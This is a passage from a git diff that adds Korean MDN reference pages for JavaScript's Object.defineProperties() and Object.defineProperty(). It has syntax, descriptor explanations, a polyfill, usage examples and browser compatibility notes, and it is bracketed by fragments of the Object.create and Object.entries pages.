+   <td>초기 정의. JavaScript 1.8.5에서 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.create', 'Object.create')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.create', 'Object.create')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("5")}}</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("11.60")}}</td>
+   <td>{{CompatSafari("5")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatOperaMobile("11.5")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineProperties()")}}</li>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>John Resig의 <a href="http://ejohn.org/blog/objectgetprototypeof/">getPrototypeOf()</a> 포스트</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/defineproperties/index.html b/files/ko/web/javascript/reference/global_objects/object/defineproperties/index.html
new file mode 100644
index 0000000000..a0949f78f2
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/defineproperties/index.html
@@ -0,0 +1,191 @@
+---
+title: Object.defineProperties()
+slug: Web/JavaScript/Reference/Global_Objects/Object/defineProperties
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/defineProperties
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.defineProperties()</strong></code> 메서드는 객체에 새로운 속성을 정의하거나 기존의 속성을 수정하고, 그 객체를 반환한다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-defineproperties.html")}}</div>
+
+
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>Object.defineProperties(<var>obj</var>, <var>props</var>)</code></pre>
+
+<h3 id="인자">인자</h3>
+
+<dl>
+ <dt><code><var>obj</var></code></dt>
+ <dd>속성을 정의하거나 수정할 객체.</dd>
+ <dt><code><var>props</var></code></dt>
+ <dd>정의하거나 수정할 속성의 이름을 키로, 그 속성을 서술하는 객체를 값으로 갖는 객체. <code>props</code>의 각 값은 데이터 서술자(data descriptor) 혹은 접근자 서술자(accessor descriptor) 중 하나여야 하며, 동시에 두 유형을 포함할 수 없다({{jsxref("Object.defineProperty()")}} 참조).</dd>
+ <dd>데이터 서술자와 접근자 서술자 모두 다음 키를 선택적으로 포함할 수 있다:</dd>
+ <dd>
+ <dl>
+  <dt><code>configurable</code></dt>
+  <dd><code>true</code>일 경우 이 속성 서술자의 형태를 변경하거나, 속성을 해당 객체에서 삭제할 수 있다.<br>
+  <strong>기본값은 <code>false</code>이다.</strong></dd>
+  <dt><code>enumerable</code></dt>
+  <dd><code>true</code>일 경우 해당 객체의 속성을 열거할 때 이 속성이 열거된다.<br>
+  <strong>기본값은 <code>false</code>이다.</strong></dd>
+ </dl>
+
+ <p>데이터 서술자의 경우 다음 키를 추가로 포함할 수 있다:</p>
+
+ <dl>
+  <dt><code>value</code></dt>
+  <dd>이 속성에 설정할 값. 올바른 자바스크립트 값(숫자, 객체, 함수 등)이면 무엇이든 설정할 수 있다.<br>
+  <strong>기본값은 {{jsxref("undefined")}}이다.</strong></dd>
+  <dt><code>writable</code></dt>
+  <dd><code>true</code>일 경우 이 속성에 설정된 값을 {{jsxref("Operators/Assignment_Operators", "할당 연산자", "", 1)}}로 수정할 수 있다.<br>
+  <strong>기본값은 <code>false</code>이다.</strong></dd>
+ </dl>
+
+ <p>접근자 서술자의 경우 다음 키를 추가로 포함할 수 있다:</p>
+
+ <dl>
+  <dt><code>get</code></dt>
+  <dd>해당 속성의 getter가 될 함수, 혹은 getter가 없을 경우 {{jsxref("undefined")}}. 이 함수의 반환값이 속성의 값으로 사용된다.<br>
+  <strong>기본값은 {{jsxref("undefined")}}이다.</strong></dd>
+  <dt><code>set</code></dt>
+  <dd>해당 속성의 setter가 될 함수, 혹은 setter가 없을 경우 {{jsxref("undefined")}}. 이 함수는 이 속성에 할당되는 새로운 값을 유일한 인자로 받는다.<br>
+  <strong>기본값은 {{jsxref("undefined")}}이다.</strong></dd>
+ </dl>
+
+ <p>서술자가 <code>value</code>, <code>writable</code>, <code>get</code>, <code>set</code> 키를 모두 가지고 있지 않을 경우 데이터 서술자로 취급한다. 서술자가 <code>value</code>이나 <code>writable</code>과 <code>get</code>이나 <code>set</code> 키를 모두 가지고 있을 경우 예외가 발생한다.</p>
+ </dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>함수에 넘겨주었던 객체.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Object.defineProperties</code>는 기본적으로 <code>props</code>의 모든 열거가능한 속성에 따라 객체 <code>obj</code>의 속성을 정의한다.</p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">var obj = {};
+Object.defineProperties(obj, {
+  'property1': {
+    value: true,
+    writable: true
+  },
+  'property2': {
+    value: 'Hello',
+    writable: false
+  }
+  // 등등
+});
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>모든 이름과 속성이 원래 값을 가리키는 깨끗한 실행 환경에서 <code>Object.defineProperties</code>는 다음 자바스크립트 재구현과 거의 완벽하게 똑같이(<code>isCallable</code>의 주석에 주목) 실행된다.</p>
+
+<pre class="brush: js;highlight:[8]">function defineProperties(obj, properties) {
+  function convertToDescriptor(desc) {
+    function hasProperty(obj, prop) {
+      return Object.prototype.hasOwnProperty.call(obj, prop);
+    }
+
+    function isCallable(v) {
+      // NB: 함수가 아닌 값이 호출가능할 경우 필요할 시 수정할 것
+      return typeof v === 'function';
+    }
+
+    if (typeof desc !== 'object' || desc === null)
+      throw new TypeError('bad desc');
+
+    var d = {};
+
+    if (hasProperty(desc, 'enumerable'))
+      d.enumerable = !!desc.enumerable;
+    if (hasProperty(desc, 'configurable'))
+      d.configurable = !!desc.configurable;
+    if (hasProperty(desc, 'value'))
+      d.value = desc.value;
+    if (hasProperty(desc, 'writable'))
+      d.writable = !!desc.writable;
+    if (hasProperty(desc, 'get')) {
+      var g = desc.get;
+
+      if (!isCallable(g) &amp;&amp; typeof g !== 'undefined')
+        throw new TypeError('bad get');
+      d.get = g;
+    }
+    if (hasProperty(desc, 'set')) {
+      var s = desc.set;
+      if (!isCallable(s) &amp;&amp; typeof s !== 'undefined')
+        throw new TypeError('bad set');
+      d.set = s;
+    }
+
+    if (('get' in d || 'set' in d) &amp;&amp; ('value' in d || 'writable' in d))
+      throw new TypeError('identity-confused descriptor');
+
+    return d;
+  }
+
+  if (typeof obj !== 'object' || obj === null)
+    throw new TypeError('bad obj');
+
+  properties = Object(properties);
+
+  var keys = Object.keys(properties);
+  var descs = [];
+
+  for (var i = 0; i &lt; keys.length; i++)
+    descs.push([keys[i], convertToDescriptor(properties[keys[i]])]);
+
+  for (var i = 0; i &lt; descs.length; i++)
+    Object.defineProperty(obj, descs[i][0], descs[i][1]);
+
+  return obj;
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.7', 'Object.defineProperties')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>초기 정의. 자바스크립트 1.8.5에 구현됨</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.defineproperties', 'Object.defineProperties')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.defineproperties', 'Object.defineProperties')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_지원_현황">브라우저 지원 현황</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.defineProperties")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/defineproperty/index.html b/files/ko/web/javascript/reference/global_objects/object/defineproperty/index.html
new file mode 100644
index 0000000000..0d4a803316
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/defineproperty/index.html
@@ -0,0 +1,417 @@
+---
+title: Object.defineProperty()
+slug: Web/JavaScript/Reference/Global_Objects/Object/defineProperty
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - Method
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/defineProperty
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.defineProperty()</strong></code> 정적 메서드는 객체에 직접 새로운 속성을 정의하거나 이미 존재하는 속성을 수정한 후, 그 객체를 반환합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>defineProperty</code>는 {{jsxref("Object")}} 인스턴스가 아니라 생성자에서 바로 호출해야 합니다.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/object-defineproperty.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>Object.defineProperty(<var>obj</var>, <var>prop</var>, <var>descriptor</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>속성을 정의할 객체.</dd>
+ <dt><code>prop</code></dt>
+ <dd>새로 정의하거나 수정하려는 속성의 이름 또는 {{jsxref("Symbol")}}.</dd>
+ <dt><code>descriptor</code></dt>
+ <dd>새로 정의하거나 수정하려는 속성을 기술하는 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 대상 <code>obj</code>.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>defineProperty</code>는 객체의 속성을 정교하게 추가하거나 수정할 수 있습니다. 할당을 통해 속성을 추가하는 일반적인 방법을 사용하면 속성 열거<sup>enumeration</sup>({{jsxref("Statements/for...in", "for...in")}} 반복문이나 {{jsxref("Object.keys")}} 메서드)를 통해 노출되어 값을 변경하거나 {{jsxref("Operators/delete", "delete")}} 연산자로 삭제할 수 있습니다. <code>defineProperty</code>를 사용하면 이런 부분을 상세하게 조절할 수 있습니다. <code>Object.defineProperty()</code>로 추가한 속성은 기본적으로 불변합니다.</p>
+
+<p>속성 서술자<sup>property descriptors</sup>는 객체로 나타내며 데이터 서술자<sup>data descriptors</sup>와 접근자 서술자<sup>accessor descriptors</sup>의 두 가지 유형을 갖습니다. 데이터 서술자는 값을 가지는 속성으로, 덮어쓰거나 쓸 수 없습니다. 접근자 서술자는 접근자<sup>getter</sup>-설정자<sup>setter</sup> 한 쌍을 가지는 속성입니다. 서술자는 두 유형 중 하나여야 하며, 동시에 두 유형일 수는 없습니다.</p>
+
+<p>데이터 서술자와 접근자 서술자 모두 객체이며 다음과 같은 키를 공유합니다.</p>
+
+<dl>
+ <dt><code>configurable</code></dt>
+ <dd>이 속성의 값을 변경할 수 있고, 대상 객체에서 삭제할 수도 있다면 <code>true</code>.<br>
+ 기본값은<strong> </strong><code>false</code>.</dd>
+ <dt><code>enumerable</code></dt>
+ <dd>이 속성이 대상 객체의 속성 열거 시 노출된다면 <code>true</code>.<br>
+ 기본값은<strong> </strong><code>false</code>.</dd>
+</dl>
+
+<p>데이터 서술자는 다음 키를 선택사항으로 가집니다.</p>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>속성에 연관된 값. 아무 유효한 JavaScript 값(숫자, 객체, 함수 등)이나 가능합니다.<br>
+ 기본값은 {{jsxref("undefined")}}</dd>
+ <dt><code>writable</code></dt>
+ <dd>{{jsxref("Operators/Assignment_Operators", "할당 연산자", "", 1)}}로 속성의 값을 바꿀 수 있다면 <code>true</code>.<br>
+ 기본값은<strong> </strong><code>false</code>.</dd>
+</dl>
+
+<p>접근자 서술자는 다음 키를 선택사항으로 가집니다.</p>
+
+<dl>
+ <dt><code>get</code></dt>
+ <dd>속성 접근자로 사용할 함수, 접근자가 없다면 {{jsxref("undefined")}}. 속성에 접근하면 이 함수를 매개변수 없이 호출하고, 그 반환값이 속성의 값이 됩니다. 이 때 <code>this</code> 값은 이 속성을 가진 객체(상속으로 인해 원래 정의한 객체가 아닐 수 있음)입니다.<br>
+ 기본값은 {{jsxref("undefined")}}.</dd>
+ <dt><code>set</code></dt>
+ <dd>속성 설정자로 사용할 함수, 설정자가 없다면 {{jsxref("undefined")}}. 속성에 값을 할당하면 이 함수를 하나의 매개변수(할당하려는 값)로 호출합니다. 이 때 <code>this</code> 값은 이 속성을 가진 객체입니다.<br>
+ 기본값은 {{jsxref("undefined")}}.</dd>
+</dl>
+
+<p>서술자가 <code>value</code>, <code>writable</code>, <code>get</code>, <code>set</code> 키를 모두 지니고 있지 않으면 데이터 서술자로 간주합니다. 반면 <code>value</code> 또는 <code>writable</code>과 동시에 <code>get</code> 또는 <code>set</code> 키를 함께 가지고 있으면 오류가 발생합니다.</p>
+
+<p>각 설정값이 서술자 스스로의 속성일 필요는 없습니다. 따라서 서술자가 상속받은 값도 영향을 줍니다. 기본 설정값을 확실하게 보존하려면 {{jsxref("Object.prototype")}}을 먼저 동결하거나, 모든 속성을 명시적으로 지정하거나, {{jsxref("Object.create", "Object.create(null)")}}로 {{jsxref("null")}}을 가리키세요.</p>
+
+<pre class="brush: js">// __proto__ 사용
+var obj = {};
+var descriptor = Object.create(null); // 상속받은 속성 없음
+// 기본으로 열거 불가, 설정 불가, 변경 불가
+descriptor.value = 'static';
+Object.defineProperty(obj, 'key', descriptor);
+
+// 명시적
+Object.defineProperty(obj, 'key', {
+  enumerable: false,
+  configurable: false,
+  writable: false,
+  value: 'static'
+});
+
+// 같은 객체를 재활용하기
+function withValue(value) {
+  var d = withValue.d || (
+    withValue.d = {
+      enumerable: false,
+      writable: false,
+      configurable: false,
+      value: null
+    }
+  );
+  d.value = value;
+  return d;
+}
+Object.defineProperty(obj, 'key', withValue('static'));
+
+// Object.freeze가 존재하면
+// 속성의 추가/제거 방지
+// (value, get, set, enumerable, writable, configurable)
+(Object.freeze || Object)(Object.prototype);
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>이진 플래그 형태로 <code>defineProperty</code>를 사용하는 예제는 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty/Additional_examples">additional examples</a>에 있습니다.</p>
+
+<h3 id="속성_생성하기">속성 생성하기</h3>
+
+<p><code>Object.defineProperty()</code>는 지정한 속성이 객체에 존재하지 않으면 주어진 서술자를 사용해 새로 생성합니다. 서술자의 일부 항목은 생략 가능하며, 생략한 항목은 기본값을 대신 사용합니다.</p>
+
+<pre class="brush: js">var o = {}; // 새로운 객체 생성
+
+// 데이터 속성 서술자와 defineProperty로
+// 새로운 속성을 추가하는 예시
+Object.defineProperty(o, 'a', {
+  value: 37,
+  writable: true,
+  enumerable: true,
+  configurable: true
+});
+// 'a' 속성이 o 객체에 존재하고 값은 37
+
+// 접근자 속성 기술자와 defineProperty로
+// 새로운 속성을 추가하는 예시
+var bValue = 38;
+Object.defineProperty(o, 'b', {
+  // ES2015 단축 메서드명 사용
+  // 아래 코드와 같음
+  // get: function() { return bValue; }
+  // set: function(newValue) { bValue = newValue; },
+  get() { return bValue; },
+  set(newValue) { bValue = newValue; },
+  enumerable: true,
+  configurable: true
+});
+o.b; // 38
+// 'b' 속성이 o 객체에 존재하고 값은 38
+// o.b를 재정의하지 않는 이상
+// o.b의 값은 항상 bValue와 동일함
+
+// 두 가지를 혼용할 수 없음
+Object.defineProperty(o, 'conflict', {
+  value: 0x9f91102,
+  get: function() { return 0xdeadbeef; }
+});
+// TypeError 발생
+// value는 데이터 서술자에만,
+// get은 접근자 서술자에만 나타날 수 있음</pre>
+
+<h3 id="속성_수정하기">속성 수정하기</h3>
+
+<p><code>ObjectdefineProperty()</code>는 지정한 속성이 객체에 이미 존재하면 주어진 서술자와 객체의 기존 설정을 사용해 속성의 수정을 시도합니다. 기존 속성 서술자의 <code>configurable</code>이 <code>false</code>이면 속성이 "설정 불가능"하다고 말하고, 이 속성의 어떤 특성도 수정할 수 없습니다. 다만 쓰기 가능한 데이터 속성의 경우 값을 바꾸거나 <code>writable</code> 특성을 <code>true</code>에서 <code>false</code>로 바꾸는건 가능합니다. 속성이 설정 불가능한 경우 속성의 유형을 데이터에서 접근자, 또는 접근자에서 데이터로 바꿀 수 없습니다.</p>
+
+<p>설정 불가능한 속성의 특성을 바꾸려고 시도하면 {{jsxref("TypeError")}}가 발생합니다. 단, 기존 값과 신규 값이 같은 경우, 혹은 쓰기 가능한 속성의 <code>value</code>와 <code>writable</code>은 수정할 수 있습니다.</p>
+
+<h4 id="writable_특성"><code>writable</code> 특성</h4>
+
+<p>속성의 <code>writable</code> 특성이 <code>false</code>인 경우는 "쓰기 불가능"하여 다시 할당할 수 없습니다.</p>
+
+<pre class="brush: js">var o = {}; // 새로운 객체 생성
+
+Object.defineProperty(o, 'a', {
+  value: 37,
+  writable: false
+});
+
+console.log(o.a); // 37 기록
+o.a = 25; // 오류 발생하지 않음
+// 엄격 모드에서는 값이 같더라도
+// 오류가 발생함
+console.log(o.a); // 37 기록, 할당하지 못했음
+
+// 엄격 모드
+(function() {
+  'use strict';
+  var o = {};
+  Object.defineProperty(o, 'b', {
+    value: 2,
+    writable: false
+  });
+  o.b = 3; // TypeError: "b" is read-only
+  return o.b; // 윗줄이 없다면 2 반환
+}());
+</pre>
+
+<p>위의 예제가 보이듯, 비엄격 모드에서는 쓰기 불가능한 속성의 값에 쓰려고 시도하면 값이 바뀌지 않고, 오류도 발생하지도 않습니다.</p>
+
+<h4 id="Enumerable_속성">Enumerable 속성</h4>
+
+<p><code>enumerable</code>은 해당 속성이 {{jsxref("Statements/for...in", "for...in")}} 루프나 {{jsxref("Object.keys()")}} 에서 노출될지 말지를 정의한다.</p>
+
+<pre class="brush: js">var o = {};
+Object.defineProperty(o, 'a', {
+  value: 1,
+  enumerable: true
+});
+Object.defineProperty(o, 'b', {
+  value: 2,
+  enumerable: false
+});
+Object.defineProperty(o, 'c', {
+  value: 3
+}); // enumerable defaults to false
+o.d = 4; // enumerable defaults to true
+         // when creating a property by setting it
+Object.defineProperty(o, Symbol.for('e'), {
+  value: 5,
+  enumerable: true
+});
+Object.defineProperty(o, Symbol.for('f'), {
+  value: 6,
+  enumerable: false
+});
+
+for (var i in o) {
+  console.log(i);
+}
+// logs 'a' and 'd' (in undefined order)
+
+Object.keys(o); // ['a', 'd']
+
+o.propertyIsEnumerable('a'); // true
+o.propertyIsEnumerable('b'); // false
+o.propertyIsEnumerable('c'); // false
+o.propertyIsEnumerable('d'); // true
+o.propertyIsEnumerable(Symbol.for('e')); // true
+o.propertyIsEnumerable(Symbol.for('f')); // false
+
+var p = { ...o }
+p.a // 1
+p.b // undefined
+p.c // undefined
+p.d // 4
+p[Symbol.for('e')] // 5
+p[Symbol.for('f')] // undefined
+</pre>
+
+<h4 id="Configurable_속성">Configurable 속성</h4>
+
+<p><code>configurable</code> 은 객체에서 해당키가 제거될 수 있는지와 (<code>writable</code>을 제외한)기술속성을 변경할 수 있는지에 대한 여부를 동시에 통제한다.</p>
+
+<pre class="brush: js">var o = {};
+Object.defineProperty(o, 'a', {
+  get() { return 1; },
+  configurable: false
+});
+
+Object.defineProperty(o, 'a', {
+  configurable: true
+}); // throws a TypeError
+Object.defineProperty(o, 'a', {
+  enumerable: true
+}); // throws a TypeError
+Object.defineProperty(o, 'a', {
+  set() {}
+}); // throws a TypeError (set was undefined previously)
+Object.defineProperty(o, 'a', {
+  get() { return 1; }
+}); // throws a TypeError
+// (even though the new get does exactly the same thing)
+Object.defineProperty(o, 'a', {
+  value: 12
+}); // throws a TypeError
+
+console.log(o.a); // logs 1
+delete o.a; // Nothing happens
+console.log(o.a); // logs 1
+</pre>
+
+<p><font face="Courier New">o.a</font>의 <font face="Courier New">configurable</font> 가 <font face="Courier New">true</font>라면, 위의 예외는 발생하지 않고 속성은 마지막에 제거되었을 것이다.</p>
+
+<h3 id="속성에_기본값_추가하기">속성에 기본값 추가하기</h3>
+
+<p>속성을 정의할 때 기본값을 제공하는 방식은 중요하다. 간단히 점구문을 이용해 할당한 값과 <code>Object.defineProperty</code>를 사용한 경우는 꽤 다르다. 아래 예를 보자.</p>
+
+<pre class="brush: js">var o = {};
+
+o.a = 1;
+// 위의 표현은 아래와 같다:
+Object.defineProperty(o, 'a', {
+  value: 1,
+  writable: true,
+  configurable: true,
+  enumerable: true
+});
+
+
+// 만약 다음과 같이 표현한다면,
+Object.defineProperty(o, 'a', { value: 1 });
+// 아래의 의미를 지니게 된다:
+Object.defineProperty(o, 'a', {
+  value: 1,
+  writable: false,
+  configurable: false,
+  enumerable: false
+});
+</pre>
+
+<h3 id="사용자_정의_Setters_와_Getters">사용자 정의 Setters 와 Getters</h3>
+
+<p>아래의 예는 어떻게 스스로 변화를 기록해두는 객체를 만드는지 보여준다. <code>temperature</code> 속성의 값을 바꾸면 <code>archive</code> 배열에도 로그가 쌓인다.</p>
+
+<pre class="brush: js">function Archiver() {
+  var temperature = null;
+  var archive = [];
+
+  Object.defineProperty(this, 'temperature', {
+    get: function() {
+      console.log('get!');
+      return temperature;
+    },
+    set: function(value) {
+      temperature = value;
+      archive.push({ val: temperature });
+    }
+  });
+
+  this.getArchive = function() { return archive; };
+}
+
+var arc = new Archiver();
+arc.temperature; // 'get!'
+arc.temperature = 11;
+arc.temperature = 13;
+arc.getArchive(); // [{ val: 11 }, { val: 13 }]
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.6', 'Object.defineProperty')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.defineproperty', 'Object.defineProperty')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.defineproperty', 'Object.defineProperty')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.defineProperty")}}</p>
+
+<h2 id="호환성_참고사항">호환성 참고사항</h2>
+
+<h3 id="Redefining_the_length_property_of_an_Array_object">Redefining the <code>length</code> property of an <code>Array</code> object</h3>
+
+<p>It is possible to redefine the {{jsxref("Array.length", "length")}} property of arrays, subject to the usual redefinition restrictions. (The {{jsxref("Array.length", "length")}} property is initially non-configurable, non-enumerable, and writable. Thus on an unaltered array it is possible to change the {{jsxref("Array.length", "length")}} property's value, or to make it non-writable. It is not allowed to change its enumerability or configurability, or if it is non-writable to change its value or writability.) However, not all browsers permit this redefinition.</p>
+
+<p>Firefox 4 through 22 will throw a {{jsxref("Global_Objects/TypeError", "TypeError")}} on any attempt whatsoever (whether permitted or not) to redefine the {{jsxref("Array.length", "length")}} property of an array.</p>
+
+<p>Versions of Chrome which implement <code>Object.defineProperty()</code> in some circumstances ignore a length value different from the array's current {{jsxref("Array.length", "length")}} property. In some circumstances changing writability seems to silently not work (and not throw an exception). Also, relatedly, some array-mutating methods like {{jsxref("Array.prototype.push")}} don't respect a non-writable length.</p>
+
+<p>Versions of Safari which implement <code>Object.defineProperty()</code> ignore a <code>length</code> value different from the array's current {{jsxref("Array.length", "length")}} property, and attempts to change writability execute without error but do not actually change the property's writability.</p>
+
+<p>Only Internet Explorer 9 and later, and Firefox 23 and later, appear to fully and correctly implement redefinition of the {{jsxref("Array.length", "length")}} property of arrays. For now, don't rely on redefining the {{jsxref("Array.length", "length")}} property of an array to either work, or to work in a particular manner. And even when you <em>can</em> rely on it, <a href="http://whereswalden.com/2013/08/05/new-in-firefox-23-the-length-property-of-an-array-can-be-made-non-writable-but-you-shouldnt-do-it/">there's really no good reason to do so</a>.</p>
+
+<h3 id="Internet_Explorer_8_specific_notes">Internet Explorer 8 specific notes</h3>
+
+<p>Internet Explorer 8 implemented a <code>Object.defineProperty()</code> method that could <a class="external" href="http://msdn.microsoft.com/en-us/library/dd229916%28VS.85%29.aspx">only be used on DOM objects</a>. A few things need to be noted:</p>
+
+<ul>
+ <li>Trying to use <code>Object.defineProperty()</code> on native objects throws an error.</li>
+ <li>Property attributes must be set to some values. <code>Configurable</code>, <code>enumerable</code> and <code>writable</code> attributes should all be set to <code>true</code> for data descriptor and <code>true</code> for <code>configurable</code>, <code>false</code> for <code>enumerable</code> for accessor descriptor.(?) Any attempt to provide other value(?) will result in an error being thrown.</li>
+ <li>Reconfiguring a property requires first deleting the property. If the property isn't deleted, it stays as it was before the reconfiguration attempt.</li>
+</ul>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Object.defineProperties()")}}</li>
+ <li>{{jsxref("Object.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyDescriptor()")}}</li>
+ <li>{{jsxref("Object.prototype.watch()")}}</li>
+ <li>{{jsxref("Object.prototype.unwatch()")}}</li>
+ <li>{{jsxref("Operators/get", "get")}}</li>
+ <li>{{jsxref("Operators/set", "set")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty/Additional_examples">Additional <code>Object.defineProperty</code> examples</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/entries/index.html b/files/ko/web/javascript/reference/global_objects/object/entries/index.html
new file mode 100644
index 0000000000..3056d99d31
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/entries/index.html
@@ -0,0 +1,145 @@
+---
+title: Object.entries()
+slug: Web/JavaScript/Reference/Global_Objects/Object/entries
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/entries
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.entries()</strong></code> 메서드는 {{jsxref("Statements/for...in", "for...in")}}와 같은 순서로 주어진 객체 자체의 enumerable 속성 <code>[key, value]</code> 쌍의 배열을 반환합니다. (<code>for-in</code> 루프가 다른점은 프로토 타입 체인의 속성도 열거한다는 점입니다).</p>
+
+<p><code><strong>Object.entries()</strong></code> 에 의해 반환된 배열(array)의 순서는 객체가 정의된 방법과 관련이 없습니다.  배열 순서가 쓸 곳이 있다면, 다음과 같이 정렬을 먼저 하시는 것이 좋습니다 <code>Object.entries(obj).sort((a, b) =&gt; b[0].localeCompare(a[0]));</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-entries.html", "taller")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">Object.entries(<var>obj</var>)</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>객체 자체의 열거 가능한 문자열 키를 가진 속성 <code>[key, value]</code> 쌍이 반환되는 객체입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>지정된 객체 자체의 열거 가능한 문자속성 <code>[key, value]</code> 쌍의 배열입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>Object.entries()</code>는 <code>object</code>에 직접있는 enumerable 속성 <code>[key, value]</code> 쌍에 해당하는 배열을 반환합니다. 속성의 순서는 개체의 속성 값을 수동으로 반복하여 주어진 순서와 동일합니다.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
